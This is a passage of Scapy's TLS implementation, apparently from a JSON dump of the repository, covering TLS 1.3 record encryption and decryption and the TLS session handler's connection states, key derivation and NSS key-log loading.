self.firstlayer().summary()\n            log_runtime.info(\"TLS 1.3: record integrity check failed [%s]\", pkt_info)  # noqa: E501\n            return e.args\n\n    def pre_dissect(self, s):\n        \"\"\"\n        Decrypt, verify and decompress the message.\n        \"\"\"\n        # We commit the pending read state if it has been triggered.\n        if self.tls_session.triggered_prcs_commit:\n            if self.tls_session.prcs is not None:\n                self.tls_session.rcs = self.tls_session.prcs\n                self.tls_session.prcs = None\n            self.tls_session.triggered_prcs_commit = False\n        if len(s) < 5:\n            raise Exception(\"Invalid record: header is too short.\")\n\n        self.type = orb(s[0])\n        if (isinstance(self.tls_session.rcs.cipher, Cipher_NULL) or\n                self.type == 0x14):\n            self.deciphered_len = None\n            return s\n        else:\n            msglen = struct.unpack('!H', s[3:5])[0]\n            hdr, efrag, r = s[:5], s[5:5 + msglen], s[msglen + 5:]\n            frag, auth_tag = self._tls_auth_decrypt(efrag)\n            self.deciphered_len = len(frag)\n            return hdr + frag + auth_tag + r\n\n    def post_dissect(self, s):\n        \"\"\"\n        Commit the pending read state if it has been triggered. We update\n        nothing if the prcs was not set, as this probably means that we're\n        working out-of-context (and we need to keep the default rcs).\n        \"\"\"\n        if self.tls_session.triggered_prcs_commit:\n            if self.tls_session.prcs is not None:\n                self.tls_session.rcs = self.tls_session.prcs\n                self.tls_session.prcs = None\n            self.tls_session.triggered_prcs_commit = False\n        return s\n\n    def do_dissect_payload(self, s):\n        \"\"\"\n        Try to dissect the following data as a TLS message.\n        Note that overloading .guess_payload_class() would not be enough,\n        as the TLS session to be used would get lost.\n        \"\"\"\n        return TLS.do_dissect_payload(self, s)\n\n    # Building methods\n\n    def _tls_auth_encrypt(self, s):\n        \"\"\"\n        Return the TLSCiphertext.encrypted_record for AEAD ciphers.\n        \"\"\"\n        wcs = self.tls_session.wcs\n        write_seq_num = struct.pack(\"!Q\", wcs.seq_num)\n        wcs.seq_num += 1\n        add_data = (pkcs_i2osp(self.type, 1) +\n                    pkcs_i2osp(self.version, 2) +\n                    pkcs_i2osp(len(s) + wcs.cipher.tag_len, 2))\n\n        return wcs.cipher.auth_encrypt(s, add_data, write_seq_num)\n\n    def post_build(self, pkt, pay):\n        \"\"\"\n        Apply the previous methods according to the writing cipher type.\n        \"\"\"\n        # Compute the length of TLSPlaintext fragment\n        hdr, frag = pkt[:5], pkt[5:]\n        if not isinstance(self.tls_session.wcs.cipher, Cipher_NULL):\n            frag = self._tls_auth_encrypt(frag)\n\n        if self.len is not None:\n            # The user gave us a 'len', let's respect this ultimately\n            hdr = hdr[:3] + struct.pack(\"!H\", self.len)\n        else:\n            # Update header with the length of TLSCiphertext.inner\n            hdr = hdr[:3] + struct.pack(\"!H\", len(frag))\n\n        # Now we commit the pending write state if it has been triggered. We\n        # update nothing if the pwcs was not set. This probably means that\n        # we're working out-of-context (and we need to keep the default wcs).\n        if self.tls_session.triggered_pwcs_commit:\n            if self.tls_session.pwcs is not None:\n                self.tls_session.wcs = self.tls_session.pwcs\n                self.tls_session.pwcs = None\n            self.tls_session.triggered_pwcs_commit = False\n\n        return hdr + frag + pay\n\n    def mysummary(self):\n        s, n = super(TLS13, self).mysummary()\n        if self.inner and self.inner.msg:\n            s += \" / \"\n            s += \" / \".join(getattr(x, \"_name\", x.name) for x in self.inner.msg)\n        return s, n\n"
  },
  {
    "path": "scapy/layers/tls/session.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n#               2019 Romain Perez\n\n\"\"\"\nTLS session handler.\n\"\"\"\n\nimport binascii\nimport collections\nimport socket\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.compat import raw\nfrom scapy.error import log_runtime, warning\nfrom scapy.packet import Packet\nfrom scapy.pton_ntop import inet_pton\nfrom scapy.sessions import TCPSession\nfrom scapy.utils import repr_hex, strxor\nfrom scapy.layers.inet import TCP\nfrom scapy.layers.tls.crypto.compression import Comp_NULL\nfrom scapy.layers.tls.crypto.hkdf import TLS13_HKDF\nfrom scapy.layers.tls.crypto.prf import PRF\n\n# Typing imports\nfrom typing import Dict\n\n\ndef load_nss_keys(filename):\n    # type: (str) -> Dict[str, bytes]\n    \"\"\"\n    Parses a NSS Keys log and returns unpacked keys in a dictionary.\n    \"\"\"\n    # http://udn.realityripple.com/docs/Mozilla/Projects/NSS/Key_Log_Format\n    keys = collections.defaultdict(dict)\n    try:\n        fd = open(filename)\n        fd.close()\n    except FileNotFoundError:\n        warning(\"Cannot open NSS Key Log: %s\", filename)\n        return {}\n    try:\n        with open(filename) as fd:\n            for line in fd:\n                if line.startswith(\"#\"):\n                    continue\n                data = line.strip().split(\" \")\n                if len(data) != 3 or data[0] != data[0].upper():\n                    warning(\"Invalid NSS Key Log Entry: %s\", line.strip())\n                    return {}\n\n                try:\n                    client_random = binascii.unhexlify(data[1])\n                except ValueError:\n                    warning(\"Invalid ClientRandom: %s\", data[1])\n                    return {}\n\n                try:\n                    secret = binascii.unhexlify(data[2])\n                except ValueError:\n                    warning(\"Invalid Secret: %s\", data[2])\n                    return {}\n\n                # Warn that a duplicated entry was detected. The latest one\n                # will be kept in the resulting dictionary.\n                if client_random in keys[data[0]]:\n                    warning(\"Duplicated entry for %s !\", data[0])\n\n                keys[data[0]][client_random] = secret\n        return keys\n    except UnicodeDecodeError as ex:\n        warning(\"Cannot read NSS Key Log: %s %s\", filename, str(ex))\n        return {}\n\n\n# Note the following import may happen inside connState.__init__()\n# in order to avoid to avoid cyclical dependencies.\n# from scapy.layers.tls.crypto.suites import TLS_NULL_WITH_NULL_NULL\n\n\n###############################################################################\n#   Connection states                                                         #\n###############################################################################\n\nclass connState(object):\n    \"\"\"\n    From RFC 5246, section 6.1:\n    A TLS connection state is the operating environment of the TLS Record\n    Protocol.  It specifies a compression algorithm, an encryption\n    algorithm, and a MAC algorithm.  In addition, the parameters for\n    these algorithms are known: the MAC key and the bulk encryption keys\n    for the connection in both the read and the write directions.\n    Logically, there are always four connection states outstanding: the\n    current read and write states, and the pending read and write states.\n    All records are processed under the current read and write states.\n    The security parameters for the pending states can be set by the TLS\n    Handshake Protocol, and the ChangeCipherSpec can selectively make\n    either of the pending states current, in which case the appropriate\n    current state is disposed of and replaced with the pending state; the\n    pending state is then reinitialized to an empty state.  It is illegal\n    to make a state that has not been initialized with security\n    parameters a current state.  The initial current state always\n    specifies that no encryption, compression, or MAC will be used.\n\n    (For practical reasons, Scapy scraps these two last lines, through the\n    implementation of dummy ciphers and MAC with TLS_NULL_WITH_NULL_NULL.)\n\n    These attributes and behaviours are mostly mapped in this class.\n    Also, note that Scapy may make a current state out of a pending state\n    which has been initialized with dummy security parameters. We need\n    this in order to know when the content of a TLS message is encrypted,\n    whether we possess the right keys to decipher/verify it or not.\n    For instance, when Scapy parses a CKE without knowledge of any secret,\n    and then a CCS, it needs to know that the following Finished\n    is encrypted and signed according to a new cipher suite, even though\n    it cannot decipher the message nor verify its integrity.\n    \"\"\"\n\n    def __init__(self,\n                 connection_end=\"server\",\n                 read_or_write=\"read\",\n                 seq_num=0,\n                 compression_alg=Comp_NULL,\n                 ciphersuite=None,\n                 tls_version=0x0303):\n\n        self.tls_version = tls_version\n\n        # It is the user's responsibility to keep the record seq_num\n        # under 2**64-1. If this value gets maxed out, the TLS class in\n        # record.py will crash when trying to encode it with struct.pack().\n        self.seq_num = seq_num\n\n        self.connection_end = connection_end\n        self.row = read_or_write\n\n        if ciphersuite is None:\n            from scapy.layers.tls.crypto.suites import TLS_NULL_WITH_NULL_NULL\n            ciphersuite = TLS_NULL_WITH_NULL_NULL\n        self.ciphersuite = ciphersuite(tls_version=tls_version)\n\n        if not self.ciphersuite.usable:\n            warning(\"TLS cipher suite not usable. \"\n                    \"Is the cryptography Python module installed?\")\n            return\n\n        self.compression = compression_alg()\n        self.key_exchange = ciphersuite.kx_alg()\n        self.cipher = ciphersuite.cipher_alg()\n        self.hash = ciphersuite.hash_alg()\n\n        if tls_version > 0x0200:\n            if ciphersuite.cipher_alg.type == \"aead\":\n                self.hmac = None\n                self.mac_len = self.cipher.tag_len\n            else:\n                self.hmac = ciphersuite.hmac_alg()\n                self.mac_len = self.hmac.hmac_len\n        else:\n            self.hmac = ciphersuite.hmac_alg()          # should be Hmac_NULL\n            self.mac_len = self.hash.hash_len\n\n        if tls_version >= 0x0304:\n            self.hkdf = TLS13_HKDF(self.hash.name.lower())\n        else:\n            self.prf = PRF(ciphersuite.hash_alg.name, tls_version)\n\n    def debug_repr(self, name, secret):\n        if conf.debug_tls and secret:\n            log_runtime.debug(\"TLS: %s %s %s: %s\",\n                              self.connection_end,\n                              self.row,\n                              name,\n                              repr_hex(secret))\n\n    def derive_keys(self,\n                    client_random=b\"\",\n                    server_random=b\"\",\n                    master_secret=b\"\"):\n        # XXX Can this be called over a non-usable suite? What happens then?\n\n        cs = self.ciphersuite\n\n        # Derive the keys according to the cipher type and protocol version\n        key_block = self.prf.derive_key_block(master_secret,\n                                              server_random,\n                                              client_random,\n                                              cs.key_block_len)\n\n        # When slicing the key_block, keep the right half of the material\n        skip_first = False\n        if ((self.connection_end == \"client\" and self.row == \"read\") or\n                (self.connection_end == \"server\" and self.row == \"write\")):\n            skip_first = True\n\n        pos = 0\n        cipher_alg = cs.cipher_alg\n\n        # MAC secret (for block and stream ciphers)\n        if (cipher_alg.type == \"stream\") or (cipher_alg.type == \"block\"):\n            start = pos\n            if skip_first:\n                start += cs.hmac_alg.key_len\n            end = start + cs.hmac_alg.key_len\n            mac_secret = key_block[start:end]\n            self.debug_repr(\"mac_secret\", mac_secret)\n            pos += 2 * cs.hmac_alg.key_len\n        else:\n            mac_secret = None\n\n        # Cipher secret\n        start = pos\n        if skip_first:\n            start += cipher_alg.key_len\n        end = start + cipher_alg.key_len\n        cipher_secret = key_block[start:end]\n        if cs.kx_alg.export:\n            reqLen = cipher_alg.expanded_key_len\n            cipher_secret = self.prf.postprocess_key_for_export(cipher_secret,\n                                                                client_random,\n                                                                server_random,\n                                                                self.connection_end,  # noqa: E501\n                                                                self.row,\n                                                                reqLen)\n        self.debug_repr(\"cipher_secret\", cipher_secret)\n        pos += 2 * cipher_alg.key_len\n\n        # Implicit IV (for block and AEAD ciphers)\n        start = pos\n        if cipher_alg.type == \"block\":\n            if skip_first:\n                start += cipher_alg.block_size\n            end = start + cipher_alg.block_size\n        elif cipher_alg.type == \"aead\":\n            if skip_first:\n                start += cipher_alg.fixed_iv_len\n            end = start + cipher_alg.fixed_iv_len\n\n        # Now we have the secrets, we can instantiate the algorithms\n        if cs.hmac_alg is None:         # AEAD\n            self.hmac = None\n            self.mac_len = cipher_alg.tag_len\n        else:\n            self.hmac = cs.hmac_alg(mac_secret)\n            self.mac_len = self.hmac.hmac_len\n\n        if cipher_alg.type == \"stream\":\n            cipher = cipher_alg(cipher_secret)\n        elif cipher_alg.type == \"block\":\n            # We set an IV every time, even though it does not matter for\n            # TLS 1.1+ as it requires an explicit IV. Indeed the cipher.iv\n            # would get updated in TLS.post_build() or TLS.pre_dissect().\n            iv = key_block[start:end]\n            if cs.kx_alg.export:\n                reqLen = cipher_alg.block_size\n                iv = self.prf.generate_iv_for_export(client_random,\n                                                     server_random,\n                                                     self.connection_end,\n                                                     self.row,\n                                                     reqLen)\n            cipher = cipher_alg(cipher_secret, iv)\n            self.debug_repr(\"block iv\", iv)\n        elif cipher_alg.type == \"aead\":\n            fixed_iv = key_block[start:end]\n            nonce_explicit_init = 0\n            # If you ever wanted to set a random nonce_explicit, use this:\n            # exp_bit_len = cipher_alg.nonce_explicit_len * 8\n            # nonce_explicit_init = random.randint(0, 2**exp_bit_len - 1)\n            cipher = cipher_alg(cipher_secret, fixed_iv, nonce_explicit_init)\n            self.debug_repr(\"aead fixed iv\", fixed_iv)\n        self.cipher = cipher\n\n    def sslv2_derive_keys(self, key_material):\n        \"\"\"\n        There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY.\n\n        Note that skip_first is opposite from the one with SSLv3 derivation.\n\n        Also, if needed, the IV should be set elsewhere.\n        \"\"\"\n        skip_first = True\n        if ((self.connection_end == \"client\" and self.row == \"read\") or\n                (self.connection_end == \"server\" and self.row == \"write\")):\n            skip_first = False\n\n        cipher_alg = self.ciphersuite.cipher_alg\n\n        start = 0\n        if skip_first:\n            start += cipher_alg.key_len\n        end = start + cipher_alg.key_len\n        cipher_secret = key_material[start:end]\n        self.cipher = cipher_alg(cipher_secret)\n        self.debug_repr(\"cipher_secret\", cipher_secret)\n\n    def tls13_derive_keys(self, key_material):\n        cipher_alg = self.ciphersuite.cipher_alg\n        key_len = cipher_alg.key_len\n        iv_len = cipher_alg.fixed_iv_len\n        write_key = self.hkdf.expand_label(key_material, b\"key\", b\"\", key_len)\n        write_iv = self.hkdf.expand_label(key_material, b\"iv\", b\"\", iv_len)\n        self.cipher = cipher_alg(write_key, write_iv)\n\n    def snapshot(self):\n        \"\"\"\n        This is used mostly as a way to keep the cipher state and the seq_num.\n        \"\"\"\n        snap = connState(connection_end=self.connection_end,\n                         read_or_write=self.row,\n                         seq_num=self.seq_num,\n                         compression_alg=type(self.compression),\n                         ciphersuite=type(self.ciphersuite),\n                         tls_version=self.tls_version)\n        snap.cipher = self.cipher.snapshot()\n        if self.hmac:\n            snap.hmac.key = self.hmac.key\n        return snap\n\n    def __repr__(self):\n        res = \"Connection end : %s\\n\" % self.connection_end.upper()\n        res += \"Cipher suite   : %s (0x%04x)\\n\" % (self.ciphersuite.name,\n                                                   self.ciphersuite.val)\n        res += \"Compression    : %s (0x%02x)\\n\" % (self.compression.name,\n                                                   self.compression.val)\n        tabsize = 4\n        return res.expandtabs(tabsize)\n\n\nclass readConnState(connState):\n    def __init__(self, **kargs):\n        connState.__init__(self, read_or_write=\"read\", **kargs)\n\n\nclass writeConnState(connState):\n    def __init__(self, **kargs):\n        connState.__init__(self, read_or_write=\"write\", **kargs)\n\n\n###############################################################################\n#   TLS session                                                               #\n###############################################################################\n\nclass tlsSession(object):\n    \"\"\"\n    This is our TLS context, which gathers information from both sides of the\n    TLS connection. These sides are represented by a readConnState instance and\n    a writeConnState instance. Along with overarching network attributes, a\n    tlsSession object also holds negotiated, shared information, such as the\n    key exchange parameters and the master secret (when available).\n\n    The default connection_end is \"server\". This corresponds to the expected\n    behaviour for static exchange analysis (with a ClientHello parsed first).\n    \"\"\"\n\n    def __init__(self,\n                 ipsrc=None, ipdst=None,\n                 sport=None, dport=None, sid=None,\n                 connection_end=\"server\",\n                 wcs=None, rcs=None):\n\n        # Use this switch to prevent additions to the 'handshake_messages'.\n        self.frozen = False\n\n        # Network settings\n        self.ipsrc = ipsrc\n        self.ipdst = ipdst\n        self.sport = sport\n        self.dport = dport\n        self.sid = sid\n\n        # Identify duplicate sessions\n        self.firsttcp = None\n\n        # Our TCP socket. None until we send (or receive) a packet.\n        self.sock = None\n\n        # Connection states\n        self.connection_end = connection_end\n\n        if wcs is None:\n            # Instantiate wcs with dummy values.\n            self.wcs = writeConnState(connection_end=connection_end)\n            self.wcs.derive_keys()\n        else:\n            self.wcs = wcs\n\n        if rcs is None:\n            # Instantiate rcs with dummy values.\n            self.rcs = readConnState(connection_end=connection_end)\n            self.rcs.derive_keys()\n        else:\n            self.rcs = rcs\n\n        # The pending write/read states are updated by the building/parsing\n        # of various TLS packets. They get committed to self.wcs/self.rcs\n        # once Scapy builds/parses a ChangeCipherSpec message, or for certain\n        # other messages in case of TLS 1.3.\n        self.pwcs = None\n        self.triggered_pwcs_commit = False\n        self.prcs = None\n        self.triggered_prcs_commit = False\n\n        # Certificates and private keys\n\n        # The server certificate chain, as a list of Cert instances.\n        # Either we act as server and it has to be provided, or it is expected\n        # to be sent by the server through a Certificate message.\n        # The server certificate should be self.server_certs[0].\n        self.server_certs = []\n\n        # The server private key, as a PrivKey instance, when acting as server.\n        # XXX It would be nice to be able to provide both an RSA and an ECDSA\n        # key in order for the same Scapy server to support both families of\n        # cipher suites. See INIT_TLS_SESSION() in automaton_srv.py.\n        # (For now server_key holds either one of both types for DHE\n        # authentication, while server_rsa_key is used only for RSAkx.)\n        self.server_key = None\n        self.server_rsa_key = None\n        # self.server_ecdsa_key = None\n\n        # A dictionary containing keys extracted from a NSS Keys Log using\n        # the load_nss_keys() function.\n        self.nss_keys = None\n\n        # Back in the dreadful EXPORT days, US servers were forbidden to use\n        # RSA keys longer than 512 bits for RSAkx. When their usual RSA key\n        # was longer than this, they had to create a new key and send it via\n        # a ServerRSAParams message. When receiving such a message,\n        # Scapy stores this key in server_tmp_rsa_key as a PubKey instance.\n        self.server_tmp_rsa_key = None\n\n        # When client authentication is performed, we need at least a\n        # client certificate chain. If we act as client, we also have\n        # to provide the key associated with the first certificate.\n        self.client_certs = []\n        self.client_key = None\n\n        # Ephemeral key exchange parameters\n\n        # The agreed-upon ephemeral key group\n        self.kx_group = None\n\n        # These are the group/curve parameters, needed to hold the information\n        # e.g. from receiving an SKE to sending a CKE. Usually, only one of\n        # these attributes will be different from None.\n        self.client_kx_ffdh_params = None\n        self.client_kx_ecdh_params = None\n\n        # These are PrivateKeys and PublicKeys from the appropriate FFDH/ECDH\n        # cryptography module, i.e. these are not raw bytes. Usually, only one\n        # in two will be different from None, e.g. when being a TLS client you\n        # will need the client_kx_privkey (the serialized public key is not\n        # actually registered) and you will receive a server_kx_pubkey.\n        self.client_kx_privkey = None\n        self.client_kx_pubkey = None\n        self.server_kx_privkey = None\n        self.server_kx_pubkey = None\n\n        # When using TLS 1.3, the tls13_client_pubshares will contain every\n        # potential key share (equate the 'client_kx_pubkey' before) the client\n        # offered, indexed by the id of the FFDH/ECDH group. These dicts\n        # effectively replace the four previous attributes.\n        self.tls13_client_privshares = {}\n        self.tls13_client_pubshares = {}\n        self.tls13_server_privshare = {}\n        self.tls13_server_pubshare = {}\n\n        # Negotiated session parameters\n\n        # The advertised TLS version found in the ClientHello (and\n        # EncryptedPreMasterSecret if used). If acting as server, it is set to\n        # the value advertised by the client in its ClientHello.\n        # The default value corresponds to TLS 1.2 (and TLS 1.3, incidentally).\n        self.advertised_tls_version = 0x0303\n\n        # The agreed-upon TLS version found in the ServerHello.\n        self.tls_version = None\n\n        # These attributes should eventually be known to both sides (SSLv3-TLS 1.2).  # noqa: E501\n        self.client_random = None\n        self.server_random = None\n        self.pre_master_secret = None\n        self.master_secret = None\n\n        # The advertised supported signature algorithms found in the ClientHello\n        # extension. (for TLS 1.2-TLS 1.3 only)\n        self.advertised_sig_algs = []\n        # The agreed-upon signature algorithm (for TLS 1.2-TLS 1.3 only)\n        self.selected_sig_alg = None\n\n        # A session ticket received by the client.\n        self.client_session_ticket = None\n\n        # These attributes should only be used with SSLv2 connections.\n        # We need to keep the KEY-MATERIAL here because it may be reused.\n        self.sslv2_common_cs = []\n        self.sslv2_connection_id = None\n        self.sslv2_challenge = None\n        self.sslv2_challenge_clientcert = None\n        self.sslv2_key_material = None\n\n        # These attributes should only be used with TLS 1.3 connections.\n        self.tls13_psk_secret = None\n        self.tls13_early_secret = None\n        self.tls13_dhe_secret = None\n        self.tls13_handshake_secret = None\n        self.tls13_master_secret = None\n        self.tls13_derived_secrets = {}\n        self.tls13_cert_req_ctxt = False\n        self.post_handshake = False  # whether handshake is done\n        self.post_handshake_auth = False  # whether \"Post-Handshake Auth\" is used\n        self.tls13_ticket_ciphersuite = None\n        self.tls13_retry = False\n        self.middlebox_compatibility = False\n\n        # Handshake messages needed for Finished computation/validation.\n        # No record layer headers, no HelloRequests, no ChangeCipherSpecs.\n        self.handshake_messages = []\n        self.handshake_messages_parsed = []\n\n        # Post-handshake, handshake messages for post-handshake client authentication\n        self.post_handshake_messages = []\n\n        # Flag, whether we derive the secret as Extended MS or not\n        self.extms = False\n        self.session_hash = None\n\n        self.encrypt_then_mac = False\n\n        # All exchanged TLS packets.\n        # XXX no support for now\n        # self.exchanged_pkts = []\n\n    def __setattr__(self, name, val):\n        if name == \"connection_end\":\n            if hasattr(self, \"rcs\") and self.rcs:\n                self.rcs.connection_end = val\n            if hasattr(self, \"wcs\") and self.wcs:\n                self.wcs.connection_end = val\n            if hasattr(self, \"prcs\") and self.prcs:\n                self.prcs.connection_end = val\n            if hasattr(self, \"pwcs\") and self.pwcs:\n                self.pwcs.connection_end = val\n        super(tlsSession, self).__setattr__(name, val)\n\n    # Get infos from underlayer\n\n    def set_underlayer(self, _underlayer):\n        if isinstance(_underlayer, TCP):\n            tcp = _underlayer\n            self.sport = tcp.sport\n            self.dport = tcp.dport\n            try:\n                self.ipsrc = tcp.underlayer.src\n                self.ipdst = tcp.underlayer.dst\n            except AttributeError:\n                pass\n            if self.firsttcp is None:\n                self.firsttcp = tcp.seq\n\n    # Mirroring\n\n    def mirror(self):\n        \"\"\"\n        This function takes a tlsSession object and swaps the IP addresses,\n        ports, connection ends and connection states. The triggered_commit are\n        also swapped (though it is probably overkill, it is cleaner this way).\n\n        It is useful for static analysis of a series of messages from both the\n        client and the server. In such a situation, it should be used every\n        time the message being read comes from a different side than the one\n        read right before, as the reading state becomes the writing state, and\n        vice versa. For instance you could do::\n\n            client_hello = open('client_hello.raw').read()\n            <read other messages>\n\n            m1 = TLS(client_hello)\n            m2 = TLS(server_hello, tls_session=m1.tls_session.mirror())\n            m3 = TLS(server_cert, tls_session=m2.tls_session)\n            m4 = TLS(client_keyexchange, tls_session=m3.tls_session.mirror())\n        \"\"\"\n\n        self.ipdst, self.ipsrc = self.ipsrc, self.ipdst\n        self.dport, self.sport = self.sport, self.dport\n\n        self.rcs, self.wcs = self.wcs, self.rcs\n        if self.rcs:\n            self.rcs.row = \"read\"\n        if self.wcs:\n            self.wcs.row = \"write\"\n\n        self.prcs, self.pwcs = self.pwcs, self.prcs\n        if self.prcs:\n            self.prcs.row = \"read\"\n        if self.pwcs:\n            self.pwcs.row = \"write\"\n\n        self.triggered_prcs_commit, self.triggered_pwcs_commit = \\\n            self.triggered_pwcs_commit, self.triggered_prcs_commit\n\n        if self.connection_end == \"client\":\n            self.connection_end = \"server\"\n        elif self.connection_end == \"server\":\n            self.connection_end = \"client\"\n\n        return self\n\n    # Secrets management for SSLv3 to TLS 1.2\n\n    def compute_master_secret(self):\n        if self.pre_master_secret is None:\n            warning(\"Missing pre_master_secret while computing master_secret!\")\n        if self.client_random is None:\n            warning(\"Missing client_random while computing master_secret!\")\n        if self.server_random is None:\n            warning(\"Missing server_random while computing master_secret!\")\n        if self.extms and self.session_hash is None:\n            warning(\"Missing session hash while computing master secret!\")\n\n        ms = self.pwcs.prf.compute_master_secret(self.pre_master_secret,\n                                                 self.client_random,\n                                                 self.server_random,\n                                                 self.extms,\n                                                 self.session_hash)\n        self.master_secret = ms\n        if conf.debug_tls:\n            log_runtime.debug(\"TLS: master secret: %s\", repr_hex(ms))\n\n    def use_nss_master_secret_if_present(self) -> bool:\n        # Load the master secret from an NSS Key dictionary\n        if not self.nss_keys or \"CLIENT_RANDOM\" not in self.nss_keys:\n            return False\n        if self.client_random in self.nss_keys[\"CLIENT_RANDOM\"]:\n            self.master_secret = self.nss_keys[\"CLIENT_RANDOM\"][self.client_random]\n            return True\n        return False\n\n    def compute_ms_and_derive_keys(self):\n        if not self.master_secret:\n            self.compute_master_secret()\n\n        self.prcs.derive_keys(client_random=self.client_random,\n                              server_random=self.server_random,\n                              master_secret=self.master_secret)\n        self.pwcs.derive_keys(client_random=self.client_random,\n                              server_random=self.server_random,\n                              master_secret=self.master_secret)\n\n    # Secrets management for SSLv2\n\n    def compute_sslv2_key_material(self):\n        if self.master_secret is None:\n            warning(\"Missing master_secret while computing key_material!\")\n        if self.sslv2_challenge is None:\n            warning(\"Missing challenge while computing key_material!\")\n        if self.sslv2_connection_id is None:\n            warning(\"Missing connection_id while computing key_material!\")\n\n        km = self.pwcs.prf.derive_key_block(self.master_secret,\n                                            self.sslv2_challenge,\n                                            self.sslv2_connection_id,\n                                            2 * self.pwcs.cipher.key_len)\n        self.sslv2_key_material = km\n        if conf.debug_tls:\n            log_runtime.debug(\"TLS: master secret: %s\", repr_hex(self.master_secret))  # noqa: E501\n            log_runtime.debug(\"TLS: key material: %s\", repr_hex(km))\n\n    def compute_sslv2_km_and_derive_keys(self):\n        self.compute_sslv2_key_material()\n        self.prcs.sslv2_derive_keys(key_material=self.sslv2_key_material)\n        self.pwcs.sslv2_derive_keys(key_material=self.sslv2_key_material)\n\n    # Secrets management for TLS 1.3\n\n    def compute_tls13_early_secrets(self, external=False):\n        \"\"\"\n        This function computes the Early Secret, the binder_key,\n        the client_early_traffic_secret and the\n        early_exporter_master_secret (See RFC8446, section 7.1).\n\n        The parameter external is used for the computation of the\n        binder_key:\n\n        - For external PSK provisioned outside out of TLS, the parameter\n          external must be True.\n        - For resumption PSK, the parameter external must be False.\n\n        If no argument is specified, the label \"res binder\" will be\n        used by default.\n\n        Ciphers key and IV are updated accordingly for 0-RTT data.\n        self.handshake_messages should be ClientHello only.\n        \"\"\"\n\n        # if no hash algorithm is set, default to SHA-256\n        if self.prcs and self.prcs.hkdf:\n            hkdf = self.prcs.hkdf\n        elif self.pwcs and self.pwcs.hkdf:\n            hkdf = self.pwcs.hkdf\n        else:\n            hkdf = TLS13_HKDF(\"sha256\")\n\n        if self.tls13_early_secret is None:\n            self.tls13_early_secret = hkdf.extract(None,\n                                                   self.tls13_psk_secret)\n\n        if \"binder_key\" not in self.tls13_derived_secrets:\n            if external:\n                bk = hkdf.derive_secret(self.tls13_early_secret,\n                                        b\"ext binder\",\n                                        b\"\")\n            else:\n                bk = hkdf.derive_secret(self.tls13_early_secret,\n                                        b\"res binder\",\n                                        b\"\")\n\n            self.tls13_derived_secrets[\"binder_key\"] = bk\n\n        cets = hkdf.derive_secret(self.tls13_early_secret,\n                                  b\"c e traffic\",\n                                  b\"\".join(self.handshake_messages))\n\n        self.tls13_derived_secrets[\"client_early_traffic_secret\"] = cets\n        ees = hkdf.derive_secret(self.tls13_early_secret,\n                                 b\"e exp master\",\n                                 b\"\".join(self.handshake_messages))\n        self.tls13_derived_secrets[\"early_exporter_secret\"] = ees\n\n        if self.nss_keys:\n            cets_dict = self.nss_keys.get('CLIENT_EARLY_TRAFFIC_SECRET', {})\n            cets = cets_dict.get(self.client_random, cets)\n            self.tls13_derived_secrets[\"client_early_traffic_secret\"] = cets\n\n            ees_dict = self.nss_keys.get('EARLY_EXPORTER_SECRET', {})\n            ees = ees_dict.get(self.client_random, ees)\n            self.tls13_derived_secrets[\"early_exporter_secret\"] = ees\n\n        if self.connection_end == \"server\":\n            if self.prcs:\n                self.prcs.tls13_derive_keys(cets)\n        elif self.connection_end == \"client\":\n            if self.pwcs:\n                self.pwcs.tls13_derive_keys(cets)\n\n    def compute_tls13_handshake_secrets(self):\n        \"\"\"\n        Ciphers key and IV are updated accordingly for Handshake data.\n        self.handshake_messages should be ClientHello...ServerHello.\n        \"\"\"\n        if self.prcs:\n            hkdf = self.prcs.hkdf\n        elif self.pwcs:\n            hkdf = self.pwcs.hkdf\n        else:\n            warning(\"No HKDF. This is abnormal.\")\n            return\n\n        if self.tls13_early_secret is None:\n            self.tls13_early_secret = hkdf.extract(None,\n                                                   self.tls13_psk_secret)\n\n        secret = hkdf.derive_secret(self.tls13_early_secret, b\"derived\", b\"\")\n        self.tls13_handshake_secret = hkdf.extract(secret, self.tls13_dhe_secret)  # noqa: E501\n\n        chts = hkdf.derive_secret(self.tls13_handshake_secret,\n                                  b\"c hs traffic\",\n                                  b\"\".join(self.handshake_messages))\n        self.tls13_derived_secrets[\"client_handshake_traffic_secret\"] = chts\n\n        shts = hkdf.derive_secret(self.tls13_handshake_secret,\n                                  b\"s hs traffic\",\n                                  b\"\".join(self.handshake_messages))\n        self.tls13_derived_secrets[\"server_handshake_traffic_secret\"] = shts\n\n        if self.nss_keys:\n            chts_dict = self.nss_keys.get('CLIENT_HANDSHAKE_TRAFFIC_SECRET', {})\n            chts = chts_dict.get(self.client_random, chts)\n            self.tls13_derived_secrets[\"client_handshake_traffic_secret\"] = chts\n\n            shts_dict = self.nss_keys.get('SERVER_HANDSHAKE_TRAFFIC_SECRET', {})\n            shts = shts_dict.get(self.client_random, shts)\n            self.tls13_derived_secrets[\"server_handshake_traffic_secret\"] = shts\n\n    def compute_tls13_traffic_secrets(self):\n        \"\"\"\n        Ciphers key and IV are updated accordingly for Application data.\n        self.handshake_messages should be ClientHello...ServerFinished.\n        \"\"\"\n        if self.prcs and self.prcs.hkdf:\n            hkdf = self.prcs.hkdf\n        elif self.pwcs and self.pwcs.hkdf:\n            hkdf = self.pwcs.hkdf\n        else:\n            warning(\"No HKDF. This is abnormal.\")\n            return\n\n        tmp = hkdf.derive_secret(self.tls13_handshake_secret,\n                                 b\"derived\",\n                                 b\"\")\n        self.tls13_master_secret = hkdf.extract(tmp, None)\n\n        cts0 = hkdf.derive_secret(self.tls13_master_secret,\n                                  b\"c ap traffic\",\n                                  b\"\".join(self.handshake_messages))\n        self.tls13_derived_secrets[\"client_traffic_secrets\"] = [cts0]\n\n        sts0 = hkdf.derive_secret(self.tls13_master_secret,\n                                  b\"s ap traffic\",\n                                  b\"\".join(self.handshake_messages))\n        self.tls13_derived_secrets[\"server_traffic_secrets\"] = [sts0]\n\n        es = hkdf.derive_secret(self.tls13_master_secret,\n                                b\"exp master\",\n                                b\"\".join(self.handshake_messages))\n        self.tls13_derived_secrets[\"exporter_secret\"] = es\n\n        if self.nss_keys:\n            cts0_dict = self.nss_keys.get('CLIENT_TRAFFIC_SECRET_0', {})\n            cts0 = cts0_dict.get(self.client_random, cts0)\n            self.tls13_derived_secrets[\"client_traffic_secrets\"] = [cts0]\n\n            sts0_dict = 